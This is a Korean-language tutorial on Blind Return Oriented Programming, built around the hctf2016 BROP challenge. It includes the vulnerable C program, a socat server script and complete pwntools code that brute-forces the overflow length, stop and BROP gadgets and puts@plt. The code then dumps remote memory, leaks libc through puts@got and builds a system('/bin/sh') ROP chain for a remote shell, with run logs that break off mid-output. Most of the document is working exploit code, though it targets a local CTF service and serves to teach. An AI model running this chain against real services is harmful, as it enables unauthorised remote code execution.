08.BROP(Blind Return Oriented Programming)

List

BROP(Blind Return Oriented Programming)

- **소프트웨어를 해킹할 때 대략 3가지의 형태의 공격대상이 있습니다.**
    - Open-source (예 : Apache)
    - Open-binary (예 : Internet Explorer)
    - Closed-binary and source (예 :일부 독점 네트워크 서비스)
- **BROP는 Closed-binary and source의 서비스를 공격할 때 사용할 수 있습니다.**
- **BROP는 공격 대상 바이너리 파일이 없는 상황에서 Exploit code를 작성할 수 있는 방법입니다.**
    - BROP 공격을 사용하기 위해서 스택 오버플로와 Crash가 발생한 후 다시 시작되는 서비스가 필요합니다.
    - BROP 공격은 서비스가 Crash가 발생한 후 서비스의 반응(연결이 닫히거나 유지되거나)을 이용해 완전한 원격 공격코드를 구성할 수 있습니다.
    - BROP 공격은 원격 시스템으로 부터 Write()와 같은 유용한 Gadget을 가젯을 유출합니다.
        - 이러한 가젯들을 이용하여 프로그램의 메모리를 덤프 또는 서비스 프로그램의 바이너리를 추출할 수 있습니다.
        - 그리고 일반적인 ROP 공격도 수행 할 수 있습니다.
    - BROP 공격은 독점 소프트웨어를 공격하는 것 외에도 바이너리가 공개되지 않은 오픈 소스 소프트웨어를 공격하는 데 매우 유용합니다.
- **BROP의 공격 순서는 다음과 같습니다.**
    - Stack overflow영역을 찾고 Canaries 값도 추출합니다.
    - 다른 가젯을 찾을 수 있도록 ROP 체인을 중지하는 "Stop Gadget"를 찾습니다.
    - "Stop Gadget"을 이용하여 레지스터에 값을 저장할 수 있는 "BROP Gadget"을 찾습니다.
    - "BROP Gadget","Stop Gadget"을 이용하여 필요한 함수를 찾습니다.
        - read,write,strcmp, 등등
    - 이 이후 부터는 일반적인 ROP와 동일하게 공격할 수 있습니다.

BROP struct

- **BROP에 대해 설명하기 전에 Stop Gadget에 대해 간단하게 설명하겠습니다.**
    - Stop Gadget은 BROP Gadget을 찾기 위해 꼭 필요함 Gadget 입니다.
    - Stop Gadget으로 제일 이상적인 가젯은 Stack Overflow 전, 후의 메시지가 동일한 것이 제일 이상적입니다.
        - 즉, 해당 프로그램을 처음 부터 다시 시작하거나, 취약성이 있는 함수의 시작 주소,등이 제일 이상적입니다.
- **BROP는 함수에 인자 값을 전달하기 위해 필요한 Gadget입니다.**
- **BROP는 다음과 같은 형태의 Gadget을 의미합니다.**
    - 주의할 점은 pop instruction이 적은 BROP를 찾을 경우 어떤 Register를 사용하고 있는지 확인이 어렵습니다.
    - 즉, BROP Gadget으로는 pop instruction 많고 희소성이 있는 Gadget을 찾는 것이 좋습니다.

ROP structure

Number of registers	ROP structure
1	pop register + ret
2	pop register * 2 + ret
3	pop register * 3 + ret
4	pop register * 4 + ret
5	pop register * 5 + ret
6	pop register * 6 + ret

- **다음과 같이 Gadget은 POP instruction이 많고 희소성이 있기 때문에 BROP Gadget으로 적합합니다.**

BROP Gadget 1

```
gdb-peda$ x/7i 0x4007ba
   0x4007ba <__libc_csu_init+90>:        pop    rbx
   0x4007bb <__libc_csu_init+91>:        pop    rbp
   0x4007bc <__libc_csu_init+92>:        pop    r12
   0x4007be <__libc_csu_init+94>:        pop    r13
   0x4007c0 <__libc_csu_init+96>:        pop    r14
   0x4007c2 <__libc_csu_init+98>:        pop    r15
   0x4007c4 <__libc_csu_init+100>:        ret
gdb-peda$
```

- **그리고 해당 BROP Gadget의 주소(0x4007ba) 가까이에 "pop rdi; ret", "pop rsi; pop r15; ret" Gadget을 찾을 수 있습니다.**

BROP Gadget 2

```
gdb-peda$ x/2i 0x4007ba + 9
   0x4007c3 <__libc_csu_init+99>:        pop    rdi
   0x4007c4 <__libc_csu_init+100>:        ret
gdb-peda$ x/3i 0x4007ba + 7
   0x4007c1 <__libc_csu_init+97>:        pop    rsi
   0x4007c2 <__libc_csu_init+98>:        pop    r15
   0x4007c4 <__libc_csu_init+100>:        ret
gdb-peda$
```

Find BROP

- **다음과 같은 형태로 BROP 가능성이 있는 Gadget을 찾을 수 있습니다.**
    - Return address에 전달한 값이 값이 BROP 주소라면 Stack에 저장된 값을 레지스터에 저장하고 Stop Gadget으로 이동하게 됩니다.
        - BROP가 아니라면 프로세스가 종료되거나 Memory leak이 발생합니다.
    - 프로그램의 반응을 이용해 BROP를 찾을 수 있습니다.

Number of registers	ROP structure
1	BROP Address + p64(0x41) + Stop Gadget
2	BROP Address + p64(0x41) * 2 + Stop Gadget
3	BROP Address + p64(0x41) * 3 + Stop Gadget
4	BROP Address + p64(0x41) * 4 + Stop Gadget
5	BROP Address + p64(0x41) * 5 + Stop Gadget
6	BROP Address + p64(0x41) * 6 + Stop Gadget

- **그리고 다음과 같이 BROP Gadget에 대한 검증이 필요합니다.**
  - 앞에서 설명한 방식으로는 Stop Gadget도 BROP Gadget으로 판단되기 때문에 다시 한번 검증이 필요합니다.
  - 앞에서 설병한 방식에서 Stop Gadget을 제거한 값을 전달해서 프로세스가 종료되거나 에러가 발생하면 BROP Gadget이라고 판단할 수 있습니다.

Number of registers	ROP structure
1	BROP Address + p64(0x41)
2	BROP Address + p64(0x41) * 2
3	BROP Address + p64(0x41) * 3
4	BROP Address + p64(0x41) * 4
5	BROP Address + p64(0x41) * 5
6	BROP Address + p64(0x41) * 6

Proof of concept

Example code

- **아래 코드는 hctf2016에서 출제된 BROP 문제 입니다.**
  - puts()함수를 이용하여 문자열을 출력합니다.
  - check() 함수를 호출하여 리턴되는 값에(True, False)따라 메시지가 다르게 출력됩니다.
    - check() 함수는 read() 함수를 이용하여 사용자로 부터 값을 입력 받습니다.
    - 입력 받은 값을 저장할 변수의 크기는 50byte이며, 사용자로 부터 입력받을수 있는 문자의 수는 1024입니다.
    - 즉, 여기서 Stack Overflow가 발생합니다.
  - 해당 문제는 소스코드와 바이너리가 제공되지 않습니다.
    - IP,Port만 제공되었으며 힌트로 Overflow 크기만 제공되었다고합니다.

brop.c

```
//gcc -fno-stack-protector brop.c -o brop
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
        setbuf(stdin,NULL);
        setbuf(stdout,NULL);
        setbuf(stderr,NULL);
    puts("WelCome my friend,Do you know password?");
        if(!check()){
        puts("Do not dump my memory");
        }else {
        puts("No password, no game");
        }
}
int check(){
    char buf[50];
    read(STDIN_FILENO,buf,1024);
    return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
```

Files

- run.sh
- brop

- https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c

Test server settings

- **다음과 같은 script를 이용하여 테스트 환경을 구현할 수 있습니다.**

run.sh

```
#!/bin/sh
while true; do
    num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
    if [ $num -eq 0 ]; then
        socat tcp4-listen:10001,reuseaddr,fork exec:./brop &
    fi
done
```

run.sh

```
lazenca0x0@ubuntu:~/Exploit/BROP$ ./run.sh
```

Check Overflow

- **다음 코드를 이용하여 Overflow가 발생하는 문자열의 길이를 확인 할 수 있습니다.**
    - 서버에 전달할 문자열의 길이를 1씩 증가시켜서 전달합니다.
    - 문자열 전달 후 서버의 응답을 확인합니다.
        - "No password, no game"이 출력되면 정상적인 동작
        - "No password, no game"이 출력되지 않으면 Overflow 발생

check_Overflow()

```
from pwn import *

ip = '127.0.0.1'
port = 10001

def check_Overflow():
    for i in range(1,4096):
        try:
            r = remote(ip,port,level='error')
            response = r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send("A" * i)
            response = r.recv()
            r.close()
            if 'No password, no game' in response:
                i += 1
            else:
                r.close
                return i

        except EOFError as e:
            r.close()
            return i - 1


size = check_Overflow()
log.info('Overflow size : ' + str(size))
```

- **해당 스크립드를 실행하면 다음과 같이 문자열의 길이를 확인 할 수 있습니다.**
    - 즉, 해당 길이의 문자열 뒤에 원하는 값을 저장하면 Return address를 덮어쓸수 있습니다.

python ./check_overflow.py

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python ./check_overflow.py
[*] Overflow size : 72
```

Check stop gadget

- **다음 코드를 이용하여 Stop Gadget을 찾을 수 있습니다.**
    - Return address영역에 0x400000 부터 값을 1씩 증가 시켜시면서 Stop Gadget을 찾습니다.
    - Return address에 저장된 주소에 의해 "WelCome my friend,Do you know password?₩n' 문자열이 다시 출력되는 영역을 찾습니다.

find_stop_gadget

```
base = 0x400000

def find_stop_gadget(size):
    p = log.progress("Searching for Stop gadget ")

    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size
        payload += p64(addr)

        if offset % 0x100 == 0:
            log.info(" Progressed to 0x%x" % offset)

        try:
            r = remote(ip,port,level='error')
            r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send(payload)
            response  = r.recv(timeout=0.2)
            r.close()

            if 'WelCome my friend,Do you know password?' in response:
                p.success("Done")
                log.info("Stop address: " +  hex(addr))
                return addr
        except Exception as e:
            r.close()
```

- 다음과 같이 앞에서 작성한 스크립트를 이용해 Stop Gadget을 찾을 수 있습니다.

python ./find_stop_gadget.py

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python ./find_stop_gadget.py
[*] Overflow size : 72
[+] Searching for Stop gadget : Done
[*]  Progressed to 0x100
[*]  Progressed to 0x200
[*]  Progressed to 0x300
[*]  Progressed to 0x400
[*]  Progressed to 0x500
[*] Stop address: 0x4005c0
```

- 발견된 Stop Gadget은 "_start() 함수의 시작 주소"입니다.
    - 즉, 해당 함수에 의해 main() 함수가 다시 호출됩니다.

_start

```
lazenca0x0@ubuntu:~/Exploit/BROP$ gdb -q ./brop
Reading symbols from ./brop...(no debugging symbols found)...done.
gdb-peda$ x/10i 0x4005c0
   0x4005c0 <_start>:        xor    ebp,ebp
   0x4005c2 <_start+2>:        mov    r9,rdx
   0x4005c5 <_start+5>:        pop    rsi
   0x4005c6 <_start+6>:        mov    rdx,rsp
   0x4005c9 <_start+9>:        and    rsp,0xfffffffffffffff0
   0x4005cd <_start+13>:        push   rax
   0x4005ce <_start+14>:        push   rsp
   0x4005cf <_start+15>:        mov    r8,0x4007d0
   0x4005d6 <_start+22>:        mov    rcx,0x400760
   0x4005dd <_start+29>:        mov    rdi,0x4006b6
gdb-peda$
```

Check BROP gadget

- **우선 BROP Gadget의 가능성이 있는 Gadget을 찾기 위해 다음과 같은 형태의 ROP코드를 전달합니다.**
    - 기본적인 코드의 형태는 Stop Gadget을 찾을 때와 동일합니다.
    - Paylaod에 BROP Gadget을 찾기 위해 Return address 영역 뒤에 레지스터에 저장할 값을 저장하고 마지막에 Stop Gadget을 저장하였습니다.
    - 여기에서는 앞에서 설명한 POP Instruction이 6개인 BROP를 찾습니다.

def maybe_BROP_gadget(size, stop_gadget, addr):

```
def maybe_BROP_gadget(size, stop_gadget, addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0) * 6
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv(timeout=0.2)

        r.close()

        if 'WelCome my friend,Do you know password?' in response:
            return True
        return False

    except Exception as e:
            r.close()
        return False
```

- **다음과 같이 Stop Gadget을 제거하고 BROP Gadget으로 추측되는 주소만을 사용해서 전달합니다.**
    - 예외가 발생하면 BROP Gadget으로 판단합니다.

def is_BROP_gadget(size,addr):

```
def is_BROP_gadget(size,addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0x41) * 10

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv()
        r.close()
        return False

    except Exception as e:

        return True
```

- **다음 코드를 이용하여 BROP Gadget을 찾을 수 있습니다.**

def find_brop_gadget(size,stop_gadget):

```
def find_brop_gadget(size,stop_gadget):
    p = log.progress("Searching for BROP gadget ")
    for offset in range(0x1,0x1000):
        if offset % 0x100 == 0:
            log.info('Progressed to 0x%x' % offset)

        addr = int(base + offset)

        if maybe_BROP_gadget(size,stop_gadget,addr):
            log.info('Maybe BROP Gagget : ' + hex(int(base + offset)))
            if is_BROP_gadget(size, addr):
                p.success("Done")
                log.info('Finded BROP Gagget : ' + hex(int(base + offset)))
                return addr
```

- **다음과 같이 BROP Gadget을 찾을 수 있습니다.**
    - 앞에서 설명했듯이 "pop rdi; ret" Gadget도 찾을 수 있습니다.

Find BROP Gadget

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python maybe_BROP_gadget.py
[*] Overflow size : 72
[+] Searching for Stop gadget : Done
[*]  Progressed to 0x100
[*]  Progressed to 0x200
[*]  Progressed to 0x300
[*]  Progressed to 0x400
[*]  Progressed to 0x500
[*] Stop address: 0x4005c0
[+] Searching for BROP gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Maybe BROP Gagget : 0x4005c0
[*] Maybe BROP Gagget : 0x4005c2
[*] Maybe BROP Gagget : 0x4005c3
[*] Maybe BROP Gagget : 0x4005c5
[*] Maybe BROP Gagget : 0x4005c6
[*] Maybe BROP Gagget : 0x4005c7
[*] Maybe BROP Gagget : 0x4005c9
[*] Maybe BROP Gagget : 0x4005cd
[*] Maybe BROP Gagget : 0x4005ce
[*] Maybe BROP Gagget : 0x4005cf
[*] Maybe BROP Gagget : 0x4005d0
[*] Maybe BROP Gagget : 0x4005d6
[*] Maybe BROP Gagget : 0x4005d7
[*] Maybe BROP Gagget : 0x4005dd
[*] Maybe BROP Gagget : 0x4005de
[*] Progressed to 0x600
[*] Maybe BROP Gagget : 0x4006b6
[*] Maybe BROP Gagget : 0x4006b7
[*] Maybe BROP Gagget : 0x4006b8
[*] Maybe BROP Gagget : 0x4006ba
[*] Maybe BROP Gagget : 0x4006ce
[*] Maybe BROP Gagget : 0x4006e2
[*] Maybe BROP Gagget : 0x4006f6
[*] Progressed to 0x700
[*] Maybe BROP Gagget : 0x4007ba
[*] Finded BROP Gagget : 0x4007ba
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
```

Get puts@plt address

- **다음과 같은 방법으로 puts함수의 plt 주소를 찾을 수 있습니다.**
    - 해당 프로그램에서 문자를 출력할 때 printf(),puts() 함수를 사용하고 있다고 가정을 합니다.
    - 해당 함수들은 첫번째 인자 값으로 전달된 주소에 저장된 값을 출력합니다.
    - 해당 바이너리에 PIE 설정되지 않았기 때문에 프로세스의 기본시작 주소는 0x400000입니다.
        - 그리고 0x400000영역에 "₩x7fELF" 문자가 저장되어 있습니다.
- **, addr , "\x7fELF" puts .**

def find_puts_addr(size,stop_gadget,rdi_ret):

```
def find_puts_addr(size,stop_gadget,rdi_ret):
    p = log.progress("Searching for the address of puts@plt")
    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size + p64(rdi_ret)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_gadget)

        if offset % 0x100 == 0:
            log.info('Progressed to 0x%x' % offset)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            response = r.recv()
            if response.startswith('\x7fELF'):
                p.success("Done")
                log.success('find puts@plt addr: 0x%x' % addr)
                return addr
            r.close()
            addr += 1
        except Exception as e:
            r.close()
            addr += 1
```

- **다음과 같이 puts함수의 plt 주소를 찾을 수 있습니다.**

Find puts@plt

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python find_puts_addr.py
[*] Overflow size : 72
[+] Searching for Stop gadget : Done
[*]  Progressed to 0x100
[*]  Progressed to 0x200
[*]  Progressed to 0x300
[*]  Progressed to 0x400
[*]  Progressed to 0x500
[*] Stop address: 0x4005c0
[+] Searching for BROP gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Maybe BROP Gagget : 0x4005c0
[*] Maybe BROP Gagget : 0x4005c2
[*] Maybe BROP Gagget : 0x4005c3
[*] Maybe BROP Gagget : 0x4005c5
[*] Maybe BROP Gagget : 0x4005c6
[*] Maybe BROP Gagget : 0x4005c7
[*] Maybe BROP Gagget : 0x4005c9
[*] Maybe BROP Gagget : 0x4005cd
[*] Maybe BROP Gagget : 0x4005ce
[*] Maybe BROP Gagget : 0x4005cf
[*] Maybe BROP Gagget : 0x4005d0
[*] Maybe BROP Gagget : 0x4005d6
[*] Maybe BROP Gagget : 0x4005d7
[*] Maybe BROP Gagget : 0x4005dd
[*] Maybe BROP Gagget : 0x4005de
[*] Progressed to 0x600
[*] Maybe BROP Gagget : 0x4006b6
[*] Maybe BROP Gagget : 0x4006b7
[*] Maybe BROP Gagget : 0x4006b8
[*] Maybe BROP Gagget : 0x4006ba
[*] Maybe BROP Gagget : 0x4006ce
[*] Maybe BROP Gagget : 0x4006e2
[*] Maybe BROP Gagget : 0x4006f6
[*] Progressed to 0x700
[*] Maybe BROP Gagget : 0x4007ba
[*] Finded BROP Gagget : 0x4007ba
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Searching for the address of puts@plt : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[+] find puts@plt addr: 0x400555
[+] Puts plt : 0x400555
```

Dump memory

- **다음 코드를 이용하여 프로그램의 메모리를 덤프 할 수 있습니다.**
  - 앞에서 찾은 puts@plt주소를 이용하여 프로그램 메모리를 덤프 할 수 있습니다.

def memory_dump(size,stop_gadget,rdi_ret,put_plt):

```
def memory_dump(size,stop_gadget,rdi_ret,put_plt):
    now = base
    end = 0x401000
    dump = ""

    p = log.progress("Memory dump")
    while now < end:
        if now % 0x100 == 0:
            log.info("Progressed to  0x%x" % now)

        payload = ''
        payload += 'A' * size
        payload += p64(rdi_ret)
        payload += p64(now)
        payload += p64(puts_plt)
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            data = r.recv(timeout=0.5)
            r.close()

            data = data[:data.index("\nWelCome")]
        except ValueError as e:
            data = data
        except Exception as e:
            continue

        if len(data.split()) == 0:
            data = '\x00'

        dump += data
        now += len(data)


    with open('memory.dump','wb') as f:
        f.write(dump)

    p.success("Done")
```

- 스크립트를 실행하면 다음과 같이 memory.dump 파일이 생성됩니다.

memory.dump

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python memory_dump.py
[*] Overflow size : 72
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[+] Memory dump: Done
[*] Progressed to  0x400000
[*] Progressed to  0x400100
[*] Progressed to  0x400200
[*] Progressed to  0x400300
[*] Progressed to  0x400400
[*] Progressed to  0x400500
[*] Progressed to  0x400900
[*] Progressed to  0x400a00
[*] Progressed to  0x400b00
[*] Progressed to  0x400c00
[*] Progressed to  0x400d00
[*] Progressed to  0x400e00
[*] Progressed to  0x400f00
lazenca0x0@ubuntu:~/Exploit/BROP$ ls
brop  BROP.py  libc  memory.dump  run.sh
lazenca0x0@ubuntu:~/Exploit/BROP$ file memory.dump
memory.dump: ERROR: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked error reading
(Invalid argument)
lazenca0x0@ubuntu:~/Exploit/BROP$
```

Get puts@got address

- **다음과 같이 dump된 파일을 이용하여 puts 함수의 got 주소 값을 찾을 수 있습니다.**
  - radare를 이용하여 덤프한 파일의 분석이 가능하며, 해당 파일에서 puts@plt영역을 분석할 수 있습니다.
  - 아래 코드를 보면 puts@plt의 실제 주소는 0x00400560 이며, puts@got의 주소는 0x601018(0x00400566 + 0x200ab2)라는 것을 확인할 수 있습니다.

r2 -B 0x400000 memory.dump

```
lazenca0x0@ubuntu:~/Exploit/BROP$ r2 -B 0x400000 memory.dump
Warning: Cannot initialize program headers
Warning: read (shdr) at 0x1b30
Warning: Cannot initialize section headers
Warning: Cannot initialize strings table
Warning: read (init_offset)
Warning: read (main)
Warning: read (get_fini)
[0x008005c0]> pd 10 @ 0x400555
            0x00400555    00ff         add bh, bh
            0x00400557    25b40a2000   and eax, 0x200ab4
            0x0040055c    0f1f4000     nop [rax]
            0x00400560    ff25b20a2000 jmp qword [rip+0x200ab2]
            0x00400566    6800000000   push 0x0
            0x0040056b    e9e0ffffff   jmp 0x400550
            0x00400570    ff25aa0a2000 jmp qword [rip+0x200aaa]
            0x00400576    6801000000   push 0x1 ; 0x00000001
            0x0040057b    e9d0ffffff   jmp 0x400550
            0x00400580    ff25a20a2000 jmp qword [rip+0x200aa2]
[0x008005c0]> ? 0x00400566 + 0x200ab2
6295576 0x601018 030010030 6.0M 60000:0018 6295576 00011000 6295576.0 0.000000
```

- https://radare.gitbooks.io/radare2book/content/introduction/commandline_flags.html

Leak address

- **다음 코드를 이용하여 puts@got 영역에 저장된 libc address를 추출할 수 있습니다.**

def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):

```
def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):
    payload = ''
    payload += 'A' * size
    payload += p64(rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_gadget)

    r.recvuntil('WelCome my friend,Do you know password?\n')
    r.sendline(payload)
    leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True)
    leakAddr = u64(leakAddr.ljust(8, '\x00'))
    return leakAddr
```

Leak the address of Libc

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python leak_address.py
[*] Overflow size : 72
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[*] Address of puts in libc : 0x7f760f884690
lazenca0x0@ubuntu:~/Exploit/BROP$
```

Libc Search

- **다음과 같이 libc-database에서 제공하는 프로그램을 이용하여 libc의 정보를 찾을 수 있습니다.**
    - puts@got에 저장된 값을 추출하여 프로그램에서 사용하는 libc 파일의 종류 및 필요한 함수의 offset을 찾을 수 있습니다.

Libc Search - libc-database

```
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./add /usr/lib/libc-2.26.so
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./find puts 690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64 puts
offset_puts = 0x000000000006f690
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$
```

libc-database

- https://github.com/niklasb/libc-database
- **다음과 같이 Python 패키지 형태로 사용가능합니다.**

Libc Search - python

```
from LibcSearcher import *

lib = LibcSearcher('puts', addr_puts_libc)
libcBase = addr_puts_libc - lib.dump('puts')
system_addr = libcBase + lib.dump('system')
binsh_addr = libcBase + lib.dump('str_bin_sh')

log.info('libc base : ' + hex(libcBase))
log.info('system : ' + hex(system_addr))
log.info('binsh : ' + hex(binsh_addr))
```

LibcSearcher

- https://github.com/lieanu/LibcSearcher

Find libc offset

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python libc_search.py
[*] Overflow size : 72
[*] STOP Gadget : 0x4005c0
[*] BROP Gadget : 0x4007ba
[*] RDI Gadget : 0x4007c3
[*] Puts plt : 0x400555
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] libc base : 0x7fc974723000
[*] system : 0x7fc974768390
[*] binsh : 0x7fc9748afd57
```

Exploit code

BROP.py

```
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'
ip = '127.0.0.1'
port = 10001
base = 0x400000

def find_stop_gadget(size):
    p = log.progress("Searching for Stop gadget ")

    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size
        payload += p64(addr)

        if offset % 0x100 == 0:
            log.info(" Progressed to 0x%x" % offset)

        try:
            r = remote(ip,port,level='error')
            r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send(payload)
            response  = r.recv(timeout=0.2)
            r.close()

            if 'WelCome my friend,Do you know password?' in response:
                p.success("Done")
```

```
                log.info("Stop address: " +  hex(addr))
                r.close()
                return addr
        except Exception as e:
            r.close()

def check_Overflow():
    for i in range(1,4096):
        try:
            r = remote(ip,port,level='error')
            response = r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send("A" * i)
            response = r.recv()
            r.close()
            if 'No password, no game' in response:
                i += 1
            else:
                r.close()
                return i

        except EOFError as e:
            r.close()
            return i - 1

def maybe_BROP_gadget(size, stop_gadget, addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0) * 6
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv(timeout=0.2)

        r.close()

        if 'WelCome my friend,Do you know password?' in response:
            return True
        return False

    except Exception as e:
        r.close()
        return False

def is_BROP_gadget(size,addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0x41) * 10

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv()
        r.close()
        return False

    except Exception as e:
        r.close()
        return True

def find_brop_gadget(size,stop_gadget):
    p = log.progress("Searching for BROP gadget ")
    for offset in range(0x1,0x1000):
        if offset % 0x100 == 0:
            log.info('Progressed to 0x%x' % offset)
```

```
        addr = int(base + offset)

        if maybe_BROP_gadget(size,stop_gadget,addr):
            log.info('Maybe BROP Gagget : ' + hex(int(base + offset)))
            if is_BROP_gadget(size, addr):
                p.success("Done")
                log.info('Finded BROP Gagget : ' + hex(int(base + offset)))
                return addr

def find_puts_addr(size,stop_gadget,rdi_ret):
    p = log.progress("Searching for the address of puts@plt")
    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size + p64(rdi_ret)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_gadget)

        if offset % 0x100 == 0:
            log.info('Progressed to 0x%x' % offset)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            response = r.recv()
            if response.startswith('\x7fELF'):
                p.success("Done")
                log.success('find puts@plt addr: 0x%x' % addr)
                return addr
            r.close()
            addr += 1
        except Exception as e:
            r.close()
            addr += 1

def memory_dump(size,stop_gadget,rdi_ret,put_plt):
    now = base
    end = 0x401000
    dump = ""

    p = log.progress("Memory dump")
    while now < end:
        if now % 0x100 == 0:
            log.info("Progressed to  0x%x" % now)

        payload = ''
        payload += 'A' * size
        payload += p64(rdi_ret)
        payload += p64(now)
        payload += p64(puts_plt)
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            data = r.recv(timeout=0.5)
            r.close()

            data = data[:data.index("\nWelCome")]
        except ValueError as e:
            data = data
        except Exception as e:
            continue

        if len(data.split()) == 0:
            data = '\x00'
```

```
        dump += data
        now += len(data)


    with open('memory.dump','wb') as f:
        f.write(dump)

    p.success("Done")

def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):
    payload = ''
    payload += 'A' * size
    payload += p64(rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_gadget)

    r.recvuntil('WelCome my friend,Do you know password?\n')
    r.sendline(payload)
    leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True)
    leakAddr = u64(leakAddr.ljust(8, '\x00'))
    return leakAddr

size = check_Overflow()
log.info('Overflow size : ' + str(size))

stop_gadget = find_stop_gadget(size)
#stop_gadget = 0x4005c0

brop_gadget = find_brop_gadget(size, stop_gadget)
#brop_gadget = 0x4007ba
log.success('BROP Gadget : ' + hex(brop_gadget))
rdi_gadget = brop_gadget + 9
log.success('RDI Gadget : ' +hex(rdi_gadget))

puts_plt = find_puts_addr(size,stop_gadget,rdi_gadget)
#puts_plt = 0x400555
log.success('Puts plt : ' + hex(puts_plt))

#memory_dump(size,stop_gadget,rdi_gadget,puts_plt)
puts_got = 0x601018

r = remote(ip,port,level='error')
addr_puts_libc = leak_libc(r,size,stop_gadget,rdi_gadget,puts_plt,puts_got)
log.info('Address of puts in libc : ' + hex(addr_puts_libc))

lib = LibcSearcher('puts', addr_puts_libc)
libcBase = addr_puts_libc - lib.dump('puts')
system_addr = libcBase + lib.dump('system')
binsh_addr = libcBase + lib.dump('str_bin_sh')

log.info('libc base : ' + hex(libcBase))
log.info('system : ' + hex(system_addr))
log.info('binsh : ' + hex(binsh_addr))

payload = "A" * size
payload += p64(rdi_gadget)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)

r.sendline(payload)
r.interactive()
```

- 다음과 같이 Shell을 획득할 수 있습니다.

python BROP.py

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP.py
[+] Overflow size : 72
[*] Progressed to  0x100
[*] Progressed to  0x200
[*] Progressed to  0x300
[*] Progressed to  0x400
[*] Progressed to  0x500
[*] Stop address: 0x4005c0
[+] STOP Gadget : 0x4005c0
[*] Progressed to  0x100
[*] Progressed to  0x200
[*] Progressed to  0x300
[*] Progressed to  0x400
[*] Progressed to  0x500
[*] Maybe BROP Gagget : 0x4005c0
[*] Maybe BROP Gagget : 0x4005c2
[*] Maybe BROP Gagget : 0x4005c3
[*] Maybe BROP Gagget : 0x4005c5
